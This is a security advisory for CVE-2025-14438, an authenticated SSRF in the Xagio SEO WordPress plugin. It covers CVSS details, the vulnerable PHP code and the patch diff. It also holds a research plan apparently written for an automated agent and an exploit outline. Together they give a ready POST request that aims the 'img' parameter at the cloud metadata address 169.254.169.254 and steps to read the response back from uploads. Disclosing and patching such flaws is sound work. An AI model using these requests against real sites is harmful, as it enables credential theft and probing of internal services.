CVE-2025-14438

Xagio SEO <= 7.1.0.30 - Authenticated (Subscriber+) Server-Side Request Forgery

mediumServer-Side Request Forgery (SSRF)
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
7.1.0.31
Patched in
1d
Time to patch

Description

The Xagio SEO – AI Powered SEO plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.1.0.30 via the 'pixabayDownloadImage' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=7.1.0.30
PublishedJanuary 5, 2026
Last updatedJanuary 6, 2026
Affected pluginxagio-seo

What Changed in the Fix

Changes introduced in v7.1.0.31

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2025-14438 SSRF in Xagio SEO ## 1. Vulnerability Summary The **Xagio SEO** plugin (versions <= 7.1.0.30) contains an authenticated Server-Side Request Forgery (SSRF) vulnerability. The flaw exists in the `pixabayDownloadImage` method of the `XAGIO_MODEL_TINYMCE` c…

Show full research plan

Vulnerability Research Plan: CVE-2025-14438 SSRF in Xagio SEO

1. Vulnerability Summary

The Xagio SEO plugin (versions <= 7.1.0.30) contains an authenticated Server-Side Request Forgery (SSRF) vulnerability. The flaw exists in the pixabayDownloadImage method of the XAGIO_MODEL_TINYMCE class. While the function is intended to download images from Pixabay to the WordPress media library, it fails to validate the img parameter, allowing an authenticated user (Subscriber level and above) to force the server into making GET requests to arbitrary internal or external URLs.

The downloaded content is stored in the WordPress uploads directory and registered as an attachment, potentially allowing for the exfiltration of internal service responses.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-post.php
  • Action: xagio_pixabay_download (registered via add_action('admin_post_xagio_pixabay_download', ...) in modules/seo/models/xagio_tinymce.php)
  • HTTP Method: POST
  • Parameters:
    • action: xagio_pixabay_download
    • _xagio_nonce: A valid WordPress nonce for the action xagio_nonce.
    • img: The target URL for the SSRF (e.g., http://169.254.169.254/latest/meta-data/ or internal service).
    • title: The filename to be used for the saved file (appended with .jpg).
  • Authentication: Required. Any user with Subscriber level access or higher can trigger this action because the registration in XAGIO_MODEL_TINYMCE::initialize() lacks a capability check (e.g., current_user_can).

3. Code Flow

  1. Entry Point: A POST request is sent to admin-post.php with action=xagio_pixabay_download.
  2. Hook Execution: WordPress triggers the hook admin_post_xagio_pixabay_download, which calls XAGIO_MODEL_TINYMCE::pixabayDownloadImage.
  3. Nonce Validation: The function calls check_ajax_referer('xagio_nonce', '_xagio_nonce').
  4. Input Handling: The img parameter is retrieved and passed to sanitize_text_field(wp_unslash($_POST['img'])).
  5. SSRF Sink: pixabayDownloadImage calls self::fetch_image($image_url).
  6. Request Initiation: fetch_image calls curl_fetch_image, which uses wp_remote_get($xagio_url, ['timeout' => 10]).
  7. Storage: The response body (from the arbitrary URL) is written to the filesystem using xagio_file_put_contents in the wp-content/uploads/ directory.
  8. Attachment Creation: The file is registered in the database as an attachment via wp_insert_attachment.

4. Nonce Acquisition Strategy

The xagio_nonce is required. It is localized to the admin environment for various Xagio modules.

  1. User Role: Create a Subscriber user.
  2. Access Admin: Log in as the Subscriber. Subscriber users can access /wp-admin/profile.php, which loads admin_enqueue_scripts.
  3. Identify Localized Variable: The plugin registers assets in XAGIO_CORE::registerAssets. Based on the file modules/seo/models/xagio_tinymce.php, scripts are localized using the handle xagio_admin.
  4. Extraction:
    • Use browser_navigate to go to /wp-admin/profile.php.
    • Use browser_eval to find the nonce. It is likely inside a global configuration object.
    • Command: browser_eval("window.xagio_tinymce_data?.nonce || window.xagio_admin_data?.nonce") (The agent should inspect the page source or window object for keys containing nonce).
    • Note: In modules/ocw/models/xagio_ocw.php, several functions check xagio_nonce. This nonce is shared across the plugin's AJAX/Post actions.

5. Exploitation Strategy

Step 1: Trigger SSRF

Send a POST request to admin-post.php.

POST /wp-admin/admin-post.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Subscriber Cookies]

action=xagio_pixabay_download&_xagio_nonce=[EXTRACTED_NONCE]&title=ssrf_test&img=http://[INTERNAL_TARGET]/metadata

Step 2: Retrieve Results

The plugin response will return a JSON object including the attachment id and the guid (URL) of the saved file.

Response Example:

{
    "status": "success",
    "message": "Image successfully downloaded.",
    "data": { ... },
    "id": 123
}

Step 3: Exfiltrate Content

Fetch the URL provided in the guid or construct it: http://localhost:8080/wp-content/uploads/[YEAR]/[MONTH]/ssrf_test.jpg. Even though it has a .jpg extension, it will contain the raw response body from the SSRF target.

6. Test Data Setup

  1. Target: Ensure a reachable internal service is available (e.g., a simple python HTTP server on a specific IP/port or the metadata service if in a cloud environment).
  2. User:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Plugin Config: No special configuration is needed; the vulnerable code path is active by default upon plugin activation.

7. Expected Results

  • The wp_remote_get request should be observed hitting the target URL.
  • The server should respond with a JSON success message.
  • A file should be created in the wp-content/uploads directory containing the exact content returned by the SSRF target.

8. Verification Steps

  1. File Check: Verify the file exists and contains the expected SSRF response.
    • wp post list --post_type=attachment --name=ssrf_test
    • cat /var/www/html/wp-content/uploads/YYYY/MM/ssrf_test.jpg
  2. Attachment Check: Check the database record.
    • wp post get [ID] --field=guid

9. Alternative Approaches

If admin-post.php fails or the _xagio_nonce isn't found in the predicted JS object:

  • Scan Localized Data: Use browser_eval("Object.keys(window).filter(k => k.includes('xagio'))") to find all plugin data objects.
  • Check admin-ajax.php: Although the code uses admin_post_, many developers accidentally register both or the functions are reachable via admin-ajax.php if wp_ajax_ hooks exist (verify with grep -r "wp_ajax_xagio_pixabay_download" .).
  • Bypass Nonce (If applicable): Check if check_ajax_referer is called with the 3rd parameter as false and if the return value is checked. In the provided source modules/seo/models/xagio_tinymce.php, the return value is not checked, but check_ajax_referer by default (when 3rd param is true or omitted) dies on failure.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Xagio SEO plugin is vulnerable to an authenticated Server-Side Request Forgery (SSRF) via its image download functionality. An attacker with Subscriber-level permissions or higher can exploit this by providing an arbitrary URL, which the server fetches and saves to the media library, allowing the attacker to probe internal services and exfiltrate metadata.

Vulnerable Code

/* modules/seo/models/xagio_tinymce.php:66 */
add_action('admin_post_xagio_pixabay_download', [
    'XAGIO_MODEL_TINYMCE',
    'pixabayDownloadImage'
]);

---

/* modules/seo/models/xagio_tinymce.php:73 */
public static function pixabayDownloadImage()
{

    check_ajax_referer('xagio_nonce', '_xagio_nonce');

    if (!isset($_POST['img'], $_POST['title'])) {
        wp_die('Required parameters are missing.', 'Missing Parameters', ['response' => 400]);
    }

    $uploads   = wp_upload_dir();
    $image_url = sanitize_text_field(wp_unslash($_POST['img']));
    $xagio_name      = sanitize_text_field(wp_unslash($_POST['title'])) . '.jpg';

    $filename            = wp_unique_filename($uploads['path'], $xagio_name, $unique_filename_callback = NULL);
    $wp_file_type        = wp_check_filetype($filename, NULL);
    $full_path_file_name = $uploads['path'] . "/" . $filename;

    $image_string = self::fetch_image($image_url);

---

/* modules/seo/models/xagio_tinymce.php:132 */
public static function curl_fetch_image($xagio_url)
{
    $xagio_response = wp_remote_get($xagio_url, [
        'timeout' => 10,
        // Adjust the timeout as needed
    ]);

    if (is_wp_error($xagio_response)) {
        return false; // Or handle the error as needed
    }

    $image = wp_remote_retrieve_body($xagio_response);
    return $image;
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/xagio-seo/7.1.0.30/modules/seo/models/xagio_tinymce.php	2025-12-12 11:54:16.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/xagio-seo/7.1.0.31/modules/seo/models/xagio_tinymce.php	2025-12-23 15:47:08.000000000 +0000
@@ -73,39 +73,75 @@
 
         public static function pixabayDownloadImage()
         {
-
             check_ajax_referer('xagio_nonce', '_xagio_nonce');
 
-            if (!isset($_POST['img'], $_POST['title'])) {
-                wp_die('Required parameters are missing.', 'Missing Parameters', ['response' => 400]);
+            // Block Subscribers / low-privilege users
+            if ( ! is_user_logged_in() || ! current_user_can('upload_files') ) {
+                xagio_json('error', 'Forbidden.');
+            }
+
+            if (empty($_POST['img']) || empty($_POST['title'])) {
+                xagio_json('error', 'Required parameters are missing.');
             }
 
             $uploads   = wp_upload_dir();
-            $image_url = sanitize_text_field(wp_unslash($_POST['img']));
-            $xagio_name      = sanitize_text_field(wp_unslash($_POST['title'])) . '.jpg';
+            $image_url = esc_url_raw(wp_unslash($_POST['img']));
+            $title     = sanitize_text_field(wp_unslash($_POST['title']));
+
+            if (empty($image_url) || empty($title)) {
+                xagio_json('error', 'Invalid parameters.');
+            }
+
+            // Allow Pixabay only
+            $allowed_hosts = [
+                'pixabay.com',
+                'www.pixabay.com',
+                'cdn.pixabay.com'
+            ];
+
+            $parts  = wp_parse_url($image_url);
+            $host   = strtolower($parts['host'] ?? '');
+            $scheme = strtolower($parts['scheme'] ?? '');
+
+            if (!$host || !in_array($host, $allowed_hosts, true)) {
+                xagio_json('error', 'Invalid image source.');
+            }
+
+            if (!in_array($scheme, ['http', 'https'], true)) {
+                xagio_json('error', 'Invalid image URL.');
+            }
+
+            $xagio_name = $title . '.jpg';
+            $filename   = wp_unique_filename($uploads['path'], $xagio_name, NULL);
 
-            $filename            = wp_unique_filename($uploads['path'], $xagio_name, $unique_filename_callback = NULL);
             $wp_file_type        = wp_check_filetype($filename, NULL);
-            $full_path_file_name = $uploads['path'] . "/" . $filename;
+            $full_path_file_name = trailingslashit($uploads['path']) . $filename;
 
             $image_string = self::fetch_image($image_url);
 
-            $fileSaved = xagio_file_put_contents($uploads['path'] . "/" . $filename, $image_string);
+            if ($image_string === false || $image_string === '') {
+                xagio_json('error', 'Failed to download image.');
+            }
+
+            $fileSaved = xagio_file_put_contents($full_path_file_name, $image_string);
             if (!$fileSaved) {
                 xagio_json('error', 'Cannot save this selected image to server. Please contact support.');
             }
 
             $attachment = [
-                'post_mime_type' => $wp_file_type['type'],
+                'post_mime_type' => $wp_file_type['type'] ?: 'image/jpeg',
                 'post_title'     => preg_replace('/\.[^.]+$/', '', $filename),
                 'post_content'   => '',
                 'post_status'    => 'inherit',
-                'guid'           => $uploads['url'] . "/" . $filename,
+                'guid'           => trailingslashit($uploads['url']) . $filename,
             ];
-            $attach_id  = wp_insert_attachment($attachment, $full_path_file_name, 0);
+            
+            $attach_id = wp_insert_attachment($attachment, $full_path_file_name, 0);
             if (!$attach_id) {
+                wp_delete_file($full_path_file_name);
                 xagio_json('error', 'Failed save this selected image into the database. Please contact support.');
             }
+
             require_once(ABSPATH . 'wp-admin/includes/image.php');
             $attach_data = wp_generate_attachment_metadata($attach_id, $full_path_file_name);
             wp_update_attachment_metadata($attach_id, $attach_data);
@@ -125,30 +161,29 @@
         {
             if (function_exists("curl_init")) {
                 return self::curl_fetch_image($xagio_url);
-            } else if (ini_get("allow_url_fopen")) {
-                return self::fopen_fetch_image($xagio_url);
             }
+
+            return false;
         }
 
         public static function curl_fetch_image($xagio_url)
         {
-            $xagio_response = wp_remote_get($xagio_url, [
+            $resp = wp_safe_remote_get($xagio_url, [
                 'timeout' => 10,
-                // Adjust the timeout as needed
+                'redirection' => 2,
+                'headers' => ['Accept' => 'image/*'],
             ]);
 
-            if (is_wp_error($xagio_response)) {
-                return false; // Or handle the error as needed
+            if (is_wp_error($resp)) {
+                return false;
             }
 
-            $image = wp_remote_retrieve_body($xagio_response);
-            return $image;
-        }
+            $content_type = wp_remote_retrieve_header($resp, 'content-type');
+            if (!$content_type || stripos($content_type, 'image/') !== 0) {
+                return false;
+            }
 
-        public static function xagio_fopen_fetch_image($xagio_url)
-        {
-            $image = xagio_file_get_contents($xagio_url, FALSE);
-            return $image;
+            return wp_remote_retrieve_body($resp);
         }

Exploit Outline

1. Authenticate to the WordPress site as a user with Subscriber-level access or higher. 2. Extract the `xagio_nonce` value, which is localized in the WordPress admin dashboard for users (often found in the `xagio_admin_data` or `xagio_tinymce_data` JavaScript objects). 3. Send a POST request to `/wp-admin/admin-post.php` with the following parameters: - `action`: `xagio_pixabay_download` - `_xagio_nonce`: The extracted nonce. - `img`: The target internal or external URL to be fetched (e.g., `http://169.254.169.254/latest/meta-data/`). - `title`: A desired filename for the saved content. 4. The plugin's server-side logic will use `wp_remote_get` to fetch the contents of the `img` URL and save it to the `wp-content/uploads/` directory. 5. The server responds with a JSON object containing the `guid` (URL) and `id` of the newly created attachment. 6. Access the file at the returned `guid` URL to view the retrieved content from the internal service.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.